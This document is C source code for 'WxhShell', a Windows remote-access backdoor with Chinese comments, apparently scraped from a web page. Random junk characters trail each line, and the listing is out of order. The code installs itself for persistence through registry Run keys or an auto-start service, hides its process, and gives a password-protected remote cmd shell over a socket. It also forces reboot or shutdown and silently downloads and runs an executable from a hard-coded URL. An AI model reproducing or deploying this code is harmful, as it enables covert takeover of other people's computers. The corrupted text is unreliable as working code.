    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 74#@F{w  
    if(Boot(SHUTDOWN)) wf1DvsJQl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DYK|"@  
    else { ^XVa!s,d  
    closesocket(wsh); $*R9LPpk+  
    ExitThread(0); ZrS!R[  
    } .Oh$sma1  
    break; t+ ]+Gn  
    } ,#l oVLy  
  // 获取shell .*"IJD9  
  case 's': { ^5}3FvW  
    CmdShell(wsh); _A r ,]v  
    closesocket(wsh); Nl _Jp:8s  
    ExitThread(0); lc7]=,qyF  
    break; qa0Zgn5q  
  } H l@rS  
  // 退出 b}*hodzF  
  case 'x': { 6:pN?|=6X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y~!@  
    CloseIt(wsh); v%^H9aK_  
    break; `( Gk_VAa  
    } fHi+PEbR  
  // 离开 PV2904  
  case 'q': { *TkABUL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NQ!F`  
    closesocket(wsh); u 36;;z  
    WSACleanup(); S\m]ze  
    exit(1); 9h8G2J o  
    break; /([aD~.  
        } x;Q2/YZ#  
  } uItKsu  
  } w5Xdq_e3  
<T]kpP<lC  
  // 提示信息 )FLpWE"e-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sJWwkR  
} O"Q=66.CR  
  } [tN/}_]  
WyETg!b[  
  return; e|P60cd /  
} xj<SnrrC]u  
f WXzK<  
// shell模块句柄 P.Bk-#}$  
int CmdShell(SOCKET sock) 4dP_'0]9A:  
{ ) LG/n  
STARTUPINFO si; {ex]_V>  
ZeroMemory(&si,sizeof(si)); 8ZDq KQ1;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6BnjT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q8J/tw?%v  
PROCESS_INFORMATION ProcessInfo; b+>godTi_  
char cmdline[]="cmd"; a=R-F!P)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;D:v@I$I  
  return 0; nj  
} "oQ@.]-#  
ZSNg^)cN  
// 自身启动模式 Z"jo xZ  
int StartFromService(void) N.?Wev{  
{ ~nQb;Bdh%  
typedef struct ra1hdf0"  
{ W=*\4B]  
  DWORD ExitStatus; m 78PQx H  
  DWORD PebBaseAddress; n|.;g!QDA  
  DWORD AffinityMask; C0M{zGT>}  
  DWORD BasePriority; ]{hfM  
  ULONG UniqueProcessId; ]nh)FMo  
  ULONG InheritedFromUniqueProcessId; uRIr,U^  
}   PROCESS_BASIC_INFORMATION; f8lww)^,v  
e+mD$(h  
PROCNTQSIP NtQueryInformationProcess; 809-p_)B  
kAoai|m@R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R/W&~t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q3:tZoeXV  
3A5" %  
  HANDLE             hProcess; ;g9+*$Gw  
  PROCESS_BASIC_INFORMATION pbi; ;#due  
|*b8-a8<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lQzrf"N'  
  if(NULL == hInst ) return 0; 62"ND+D4  
@."R9s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /%)J+K)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~VKw%WK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `PL!>oa(8  
QS_u<B  
  if (!NtQueryInformationProcess) return 0; o,-@vp  
" O4Z).5q3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JF7T1T  
  if(!hProcess) return 0; -[=`bHo  
X:A\{^ ~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >nxtQ  
d={}a,3?  
  CloseHandle(hProcess); V;!D:N8<  
7j Q`i;L}Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e|I5Nx2)  
if(hProcess==NULL) return 0; ,RZktWW_  
iAN#TCwLT7  
HMODULE hMod; ~4M]SX1z  
char procName[255]; &e(de$}xt  
unsigned long cbNeeded; _heQ|'(  
Wq4?`{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nT>?}/S  
Oj:`r*z43  
  CloseHandle(hProcess); k`-L5#`  
iG ;6e~p  
if(strstr(procName,"services")) return 1; // 以服务启动 ()r DM@  
| 8AH_Fk  
  return 0; // 注册表启动 AA66^/t  
} p7*\]HyE)  
&"BKue~q@p  
// 主模块 ,FTF@h-Cs  
int StartWxhshell(LPSTR lpCmdLine) */1z=  
{ &~j"3G;e  
  SOCKET wsl; jkbz8.K  
BOOL val=TRUE; 6jn<YR E-  
  int port=0; +RbCa c  
  struct sockaddr_in door; aU3&=aN+  
M1^pW 63  
  if(wscfg.ws_autoins) Install(); olqHa5qn  
(HTVSC%=  
port=atoi(lpCmdLine); c[5>kQ-nq  
vF_?1|*|  
if(port<=0) port=wscfg.ws_port; 0iYe>u  
' o 5,P/6  
  WSADATA data; n8?gZ` W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |peZ`O^ ~  
3Ry?{m^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lY~xoHT;[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,Zdc  
  door.sin_family = AF_INET; D@2Tx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xzy9~))o  
  door.sin_port = htons(port); kxKBI{L  
'K0Y@y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `:8&m  
closesocket(wsl); W>"i0p  
return 1; RGiA>Z:W  
} n_aKciF  
(Yx rZ_F'b  
  if(listen(wsl,2) == INVALID_SOCKET) { xTe?*  
closesocket(wsl); p~r +2(J  
return 1; pd|c7D!6U,  
} X 6>Pq  
  Wxhshell(wsl); <_NF  
  WSACleanup(); <'/+E4m  
`Z{7Ut^)  
return 0; MZ{)`7acR\  
z_zr3XR9  
} 4Ld0AApncy  
5L4~7/kj  
// 以NT服务方式启动 SO}Hc;Q1`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  bSmRo  
{ ?vZ&CB  
DWORD   status = 0; oV*3Mec  
  DWORD   specificError = 0xfffffff; 0n1y$*I4  
uy B ?-Y+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Tj.;\a|d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BqR8%F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r+) A)a,  
  serviceStatus.dwWin32ExitCode     = 0; 13B[m p4  
  serviceStatus.dwServiceSpecificExitCode = 0;  iKDGYM  
  serviceStatus.dwCheckPoint       = 0; Q i?   
  serviceStatus.dwWaitHint       = 0; 7Npz {C{I  
39u!j|VH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); utQ_!3u  
  if (hServiceStatusHandle==0) return; gP<l  
Q tRKmry{  
status = GetLastError(); T IS}'c'C  
  if (status!=NO_ERROR) w{0UA6+  
{ =6? 3c\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H*l8,*M}  
    serviceStatus.dwCheckPoint       = 0; /9 [nogP  
    serviceStatus.dwWaitHint       = 0; = uOFaZ4  
    serviceStatus.dwWin32ExitCode     = status; qgu.c`GmW  
    serviceStatus.dwServiceSpecificExitCode = specificError; .>&kA f.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u{I)C0  
    return; [/#;u*n  
  } z7J#1q~:yY  
[*,`a]z-Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 27;*6/>,  
  serviceStatus.dwCheckPoint       = 0; b-ZvEDCR  
  serviceStatus.dwWaitHint       = 0; / VJ[1o^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \5J/ ?  
} aG,N>0k8  
NK d8XQ=%  
// 处理NT服务事件,比如:启动、停止 #A?U_32z/2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [ h%ci3  
{ *!Xhy87%Z)  
switch(fdwControl) iX~V(~v  
{ YT#" HYO  
case SERVICE_CONTROL_STOP: [_${N,1  
  serviceStatus.dwWin32ExitCode = 0; r] 2}S=[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TC ^EyjD  
  serviceStatus.dwCheckPoint   = 0; qdOaibH_  
  serviceStatus.dwWaitHint     = 0; JgEpqA12  
  { #VD[\#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DUa`8cE}  
  } 2TY|)ltsF  
  return; K47W7zR  
case SERVICE_CONTROL_PAUSE: (]rtBeT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %<K`d  
  break; c^I_~OwaE  
case SERVICE_CONTROL_CONTINUE: voCQ_~*)9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~g)gXPjke  
  break; 'kPShZS$b  
case SERVICE_CONTROL_INTERROGATE: ?/NxZ\  
  break; ?-J\~AXL  
}; w,D(zk$   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m ?LOd9  
} entO"~*EX  
C 2FewsRz  
// 标准应用程序主函数 OZ0q6"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "5]GEzM3O  
{ ^O4.$4t|  
2,'m]`;GNr  
// 获取操作系统版本 l3-;z)SgH  
OsIsNt=GetOsVer(); p)d'yj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S_aml  
03[(dRK>=  
  // 从命令行安装 P)ZGNtO9fG  
  if(strpbrk(lpCmdLine,"iI")) Install(); :jgwp~l  
=p:D_b  
  // 下载执行文件  >Xh 9{/o  
if(wscfg.ws_downexe) { :*#I1nb$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p-r}zc9@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'ym/@h7h  
} * r$(lf  
StA5h+[m  
if(!OsIsNt) { $ ^m_M.1  
// 如果时win9x,隐藏进程并且设置为注册表启动 JT,8/o  
HideProc(); 4w\cS&X~C  
StartWxhshell(lpCmdLine); (+(YO\ng6  
} ,J~kwJ$L  
else cl30"WK!  
  if(StartFromService()) td&W>(3d  
  // 以服务方式启动 ~M2w&g;1  
  StartServiceCtrlDispatcher(DispatchTable); yiiYq(\{  
else p'uk V(B  
  // 普通方式启动 gVl%:Ra%  
  StartWxhshell(lpCmdLine); +.NopI3:  
f_7a) 'V4  
return 0; +hqsIx  
} kuqf(  
RL SP?o2J  
+m]$P,yMt  
St^s"A  
=========================================== (s z=IB ;  
O#uTwnW  
H~e;S#3_v  
Y }aa6  
FhHcS>]:.  
V)oUSHillH  
" 98x]x:mgI_  
?`3` azfM  
#include <stdio.h> #B_ ``XV  
#include <string.h> 0Ou`& u  
#include <windows.h> ?n8gB7(FA  
#include <winsock2.h> ;gu_/[P  
#include <winsvc.h> S zsq|T  
#include <urlmon.h> ZC@sUj"  
$RfM}!7?  
#pragma comment (lib, "Ws2_32.lib") XL1v&'HLV  
#pragma comment (lib, "urlmon.lib") E?m(&O j  
5\A[ra  
#define MAX_USER   100 // 最大客户端连接数 {Ug?k<h7|  
#define BUF_SOCK   200 // sock buffer ^ duNEu0*  
#define KEY_BUFF   255 // 输入 buffer j ~:Dr   
m$Lq#R={Z  
#define REBOOT     0   // 重启 Uo#% f+t  
#define SHUTDOWN   1   // 关机 MD%_Z/NL  
D9*GS_K2 t  
#define DEF_PORT   5000 // 监听端口 4N|^Joi  
$z)r(N$  
#define REG_LEN     16   // 注册表键长度 )4vZIU#  
#define SVC_LEN     80   // NT服务名长度 9s8B>(L  
prV:Kq;O  
// 从dll定义API PqZMuUd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Es/\/vF7]D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DJ2EV^D+P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _=Ed>2M)no  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \cP\I5IW:s  
.^6"nnfA#  
// wxhshell配置信息 6hv4D`d;o  
struct WSCFG { W2e~!:w  
  int ws_port;         // 监听端口 SQ9s  
  char ws_passstr[REG_LEN]; // 口令 t9685s  
  int ws_autoins;       // 安装标记, 1=yes 0=no ! ~u;CMR  
  char ws_regname[REG_LEN]; // 注册表键名 NpG5$?  
  char ws_svcname[REG_LEN]; // 服务名 ],YIEOx6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -K9bC3H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p,.+i[V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E"ijNs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7{e0^V,\k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z|; 7;TwA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BFmd`#{l  
?>SC:{(  
}; 8M9 &CsT6  
fgVeB;k|  
// default Wxhshell configuration [#S}L(  
struct WSCFG wscfg={DEF_PORT, H|T!}M>  
    "xuhuanlingzhe",  I0trHrX9  
    1, G%_6" s  
    "Wxhshell", +YVnA?r?  
    "Wxhshell", }J"}5O2,b  
            "WxhShell Service", -'*\KA@u  
    "Wrsky Windows CmdShell Service", Z6F>SL  
    "Please Input Your Password: ", r<,W{Va  
  1, =(Y 1y$  
  "http://www.wrsky.com/wxhshell.exe", n8n(<  
  "Wxhshell.exe" -`x$a&}  
    }; [HGGXgN  
.]}kOw:(#  
// 消息定义模块 {1,]8!HBJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !VUxy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L8("1_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0hnTHlk  
char *msg_ws_ext="\n\rExit."; :SjTkfU  
char *msg_ws_end="\n\rQuit."; ;$gZ?&  
char *msg_ws_boot="\n\rReboot..."; 0vbiq  
char *msg_ws_poff="\n\rShutdown..."; u;rK.3o  
char *msg_ws_down="\n\rSave to "; `@eo <6  
Y>LgpO.  
char *msg_ws_err="\n\rErr!"; E~Eh'>Y(B  
char *msg_ws_ok="\n\rOK!"; +Bk" khH  
-h+=^,  
char ExeFile[MAX_PATH]; O) NEt  
int nUser = 0; VDq4n;p1  
HANDLE handles[MAX_USER]; ij i<+oul  
int OsIsNt; d5mhk[p7\J  
*F| j%]k~  
SERVICE_STATUS       serviceStatus; *NzHY;e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z".mEF-b  
!mLQdkTE  
// 函数声明 o7Ms]AblT  
int Install(void); [zmx  
int Uninstall(void); q{I,i(%m8  
int DownloadFile(char *sURL, SOCKET wsh); SA@MJ>Z  
int Boot(int flag); 02OL-bv}HS  
void HideProc(void); __<u!;f  
int GetOsVer(void); :a3  +f5  
int Wxhshell(SOCKET wsl); `\LhEnIwu  
void TalkWithClient(void *cs); <;}jf*A  
int CmdShell(SOCKET sock); a'=C/ s+  
int StartFromService(void); ^{\gD23  
int StartWxhshell(LPSTR lpCmdLine); 7DaMuh~<  
c#X9d8>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +rse,b&U(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (GB2("p`  
h&d%#6mB  
// 数据结构和表定义 <>\s#Jf/  
SERVICE_TABLE_ENTRY DispatchTable[] = PF5;2  
{ Ba==Ri8$  
{wscfg.ws_svcname, NTServiceMain},  Gh;Ju[6  
{NULL, NULL} C;7?TZ&xw  
}; z'N_9=  
?0k(wiF  
// 自我安装 DrE +{Spm  
int Install(void) 2K?~)q&t*  
{ *c'nPa$+|S  
  char svExeFile[MAX_PATH]; j. UQLi&`  
  HKEY key; pMZKF=  
  strcpy(svExeFile,ExeFile); <%WN<T{q|  
Z@ AHe`A  
// 如果是win9x系统,修改注册表设为自启动 I`Goc!5t  
if(!OsIsNt) { *((wp4b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Itn7Kl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H{Tt>k  
  RegCloseKey(key); |Y#KMi ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :.KN;+tP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *K#7,*Oz  
  RegCloseKey(key); pE.f}  
  return 0; +%vBDcf  
    } 6b1f ?0  
  } BZAeg">3  
} 6f1%5&si  
else { 7d&_5Tj:  
g3[Zh=+]E  
// 如果是NT以上系统,安装为系统服务 P2J{ Ml#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Exir?G}\  
if (schSCManager!=0) 3exv k  
{ )X*?M?~\  
  SC_HANDLE schService = CreateService p0Cp\.  
  ( `CCuwe<v  
  schSCManager, WmU5YZ(mAq  
  wscfg.ws_svcname, WXz'H),R  
  wscfg.ws_svcdisp, ;M,u,KH)/  
  SERVICE_ALL_ACCESS, C? pi8Xg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +-_71rJc.  
  SERVICE_AUTO_START, J[E_n;d1  
  SERVICE_ERROR_NORMAL, {z)&=v@  
  svExeFile, u{Jv6K,  
  NULL, /7WN,a  
  NULL, W_k;jy_{9  
  NULL, 4.]xK2sW  
  NULL, 56 6vjE  
  NULL m\a_0!K  
  ); R? aE:\A  
  if (schService!=0) \~V Z Y  
  { 9=,^^,q  
  CloseServiceHandle(schService); !e~Yp0gX#  
  CloseServiceHandle(schSCManager); K:PzR,nn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); scmn-4j'{  
  strcat(svExeFile,wscfg.ws_svcname); }$DLa#\-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hg)5c!F7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l#7].-/  
  RegCloseKey(key); G dZ_  
  return 0; z@!zQ Vp  
    } m)G=4kK52-  
  } QmQsNcF~z  
  CloseServiceHandle(schSCManager); f8]Qn8  
} ]y&w)-0  
} |n9~2R   
I5RV:e5b  
return 1; 9o-fI@9  
} !'uLV#YEZ  
>r Nff!Ow  
// 自我卸载 Y|ONCc  
int Uninstall(void) u{%gB&nC  
{ Fv!zS.)`  
  HKEY key; rBBA`Ut@F  
5#jna9Xc  
if(!OsIsNt) { HN'r ZAZ(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =)Z!qjf1U  
  RegDeleteValue(key,wscfg.ws_regname); +uR|0Jo8X  
  RegCloseKey(key); p^^Ai  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B<.XowT'  
  RegDeleteValue(key,wscfg.ws_regname); /4 zO  
  RegCloseKey(key); @NBWNgBv  
  return 0; *2MM   
  } e&&;"^@-  
} Q _}i8p '  
} cG%ttfq\  
else { V,,/}f '  
e_C9VNP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &cj/8A5-  
if (schSCManager!=0) _n9+(X3  
{ y'sy]Q~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $`q8-+{  
  if (schService!=0) \Y'#}J"dh  
  { e|wH5(V  
  if(DeleteService(schService)!=0) { z4l O  
  CloseServiceHandle(schService); Dd+ f,$  
  CloseServiceHandle(schSCManager); %(4G[R[  
  return 0; ~$g$31/  
  } V\axOz!  
  CloseServiceHandle(schService); .E !p  
  } }5n((7@X  
  CloseServiceHandle(schSCManager); <0[{Tn  
} <:#O*Y{  
} 1VW;[ ocQ  
AF{k^^|H  
return 1; K`.wj8zGY  
} }qUNXE@  
6 bL+q`3>  
// 从指定url下载文件 7?6?`no~JJ  
int DownloadFile(char *sURL, SOCKET wsh) YT;b$>1v  
{ 3#>;h  
  HRESULT hr; U^_'e_)  
char seps[]= "/"; /'|'3J]HP  
char *token; m35Blg34  
char *file; KZ ezA4  
char myURL[MAX_PATH]; f.Y9gkt3d  
char myFILE[MAX_PATH]; 3Rid 1;L0U  
OHnHSb'?\  
strcpy(myURL,sURL); $cO"1mu  
  token=strtok(myURL,seps); aubmA0 w  
  while(token!=NULL) DbSl}N;  
  { k*bfq?E a  
    file=token; G~ZDXQ>5CP  
  token=strtok(NULL,seps); 7I;Give{  
  } H) g:<  
#8;|_RU  
GetCurrentDirectory(MAX_PATH,myFILE); {8M=[4_`l  
strcat(myFILE, "\\"); 7e&R6j  
strcat(myFILE, file); { .KCK_ d  
  send(wsh,myFILE,strlen(myFILE),0); *[*E|by  
send(wsh,"...",3,0); p},6W,f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iKB8V<[\T  
  if(hr==S_OK) +Q, 0kv  
return 0; 7 q<UJIf  
else )>LQ{ X.  
return 1; t1HUp dHY  
ok5 {c  
} %h U8ycI*h  
_>HX Q6Hw  
// 系统电源模块 UTQ$sg|7p  
int Boot(int flag) TX{DZ#  
{ }~lF Rf  
  HANDLE hToken; OVO0Emv  
  TOKEN_PRIVILEGES tkp; [KkLpZG  
k/nOz*  
  if(OsIsNt) { {! RW*B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s-r$%9o5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ah)OyO6  
    tkp.PrivilegeCount = 1; ssW+'GD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6w K=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -tT{h 4  
if(flag==REBOOT) { ,=l MtW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^DHFP-G?e  
  return 0; L>{E8qv>w  
} [!{*)4$6  
else { IS7g{:}=p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DLE|ctzj[7  
  return 0; Kp"mV=RG2T  
} zMX7 #,  
  } oaI7j=Gp  
  else { 7\^b+*  
if(flag==REBOOT) {  ,[ +  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P0$q{ j  
  return 0; `"[VkQFB/  
} aPB %6c=  
else { o_U=]mEDY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9;Ezm<VQ  
  return 0; 0 TSj]{[  
} xc R  
} s)yEVh  
+3vK=d_Va  
return 1; ?[Q;275  
} Z~g~,q  
=HP_IG_  
// win9x进程隐藏模块 HKP\`KBC j  
void HideProc(void) GQ&9by=}  
{ 3a#637%  
+8[h&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @{.rDz  
  if ( hKernel != NULL ) yuswWc '  
  { TEB%y9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sCaw"{5qc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /exV6D r  
    FreeLibrary(hKernel); {Cs~5jYz  
  } G5zZf ~r  
ksY^w+>(!  
return; %-]j;'6}cX  
} !'ajpK  
5@j?7%_8  
// 获取操作系统版本 @okC":Fw,  
int GetOsVer(void) .eXIbd<C  
{ Q" VFcp:  
  OSVERSIONINFO winfo; /{7x|ay]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ? $pGG  
  GetVersionEx(&winfo); %xLziF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +d\"n  
  return 1; 1SkGG0 W  
  else BmUEo$w  
  return 0; 4cJ^L <  
} 9`.b   
8nES=<rz  
// 客户端句柄模块 n_v c}ame  
int Wxhshell(SOCKET wsl) 0$ &Z_oJ  
{  'm}~  
  SOCKET wsh; _@sqCf%|  
  struct sockaddr_in client; OjMDxG w  
  DWORD myID; 7r"!&P* ,  
9|jIrS%/~  
  while(nUser<MAX_USER) _w+sx5  
{ rf;R"Uc  
  int nSize=sizeof(client); VjYfnvE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4,FkA_k  
  if(wsh==INVALID_SOCKET) return 1; %S>lPt  
,k{{ZP P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \I#lLP  
if(handles[nUser]==0) UN| "D]>/  
  closesocket(wsh); ]ZO^@sH  
else !i_5Xc H  
  nUser++; K]@6&H-b|  
  } LLgN%!&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,0<|&D  
QEUg=*3W=  
  return 0; } 5OlX  
} Podm 3b  
4s`*o/it  
// 关闭 socket XPUH\I=  
void CloseIt(SOCKET wsh) #k)G1Y[c  
{ sPkT>q  
closesocket(wsh); ,2H5CFX/  
nUser--; OD>-^W t;%  
ExitThread(0); !bH-(K{S6  
} `Up<;  
JEY%(UR8  
// 客户端请求句柄 sF_.9G)S0  
void TalkWithClient(void *cs) "TtK!>!.  
{ Gpe h#Q4x  
QHMXQyr(  
  SOCKET wsh=(SOCKET)cs; ~DqNA%Mb  
  char pwd[SVC_LEN]; o1zc`Ibd  
  char cmd[KEY_BUFF]; 3m7$$ N|  
char chr[1]; _sZ/tU@_-K  
int i,j; F1Egcx/$V  
t47 f$gq  
  while (nUser < MAX_USER) { 34JkB+#a  
5?9}^s4  
if(wscfg.ws_passstr) { Vl^jTX5N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5I T'u3V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B HZGQm  
  //ZeroMemory(pwd,KEY_BUFF); s}|IRDpp  
      i=0; *i5&x/ds  
  while(i<SVC_LEN) { w^R5/#F_r  
s_`wLQ7e  
  // 设置超时 7jts;H=  
  fd_set FdRead; An]*J|nFIY  
  struct timeval TimeOut; W'gCFX  
  FD_ZERO(&FdRead); 6EX:qp^`  
  FD_SET(wsh,&FdRead); cty~dzX^  
  TimeOut.tv_sec=8; 9Od Kh\F (  
  TimeOut.tv_usec=0; f=/S]o4/3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (nBJ,v)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IeN!nK-  
?_<ZCH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :Oq!.uO  
  pwd=chr[0]; B TcxBh  
  if(chr[0]==0xd || chr[0]==0xa) { ~&B_ Bswf  
  pwd=0; j nI)n*  
  break; C6'[Tn  
  } #"i}wS  
  i++; d UjdQ  
    } Zpu>T2Tp  
ml?+JbLg0  
  // 如果是非法用户,关闭 socket V7rcnk#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =N7N=xY  
} puXJ:yo(  
y"@~5e477$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I|WBT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]BAF  
&k1Ez  
while(1) { )- 2^Jvc  
Yl-09)7s  
  ZeroMemory(cmd,KEY_BUFF); 5r zB "L  
X*S|aNaLWW  
      // 自动支持客户端 telnet标准   ",Q\A I  
  j=0; !EpP-bq'*  
  while(j<KEY_BUFF) { Grjm9tbX}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d8]6<\g  
  cmd[j]=chr[0]; 6"_FjS3Sl  
  if(chr[0]==0xa || chr[0]==0xd) { o`RTvG Xk  
  cmd[j]=0; l[\[)X3$  
  break; Ap}:^k5{  
  } p[Q   
  j++; 1q\U (^  
    } m?<C\&)6x  
w:N\]=Vh  
  // 下载文件 &,)9cV /  
  if(strstr(cmd,"http://")) { !(SaE'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2d$hgR#v  
  if(DownloadFile(cmd,wsh))  ZfvFs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uE5kL{Fv  
  else aYPzN<"%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EWqKd/  
  } /5yW vra  
  else { M5%u>$2  
M6 0(yTm  
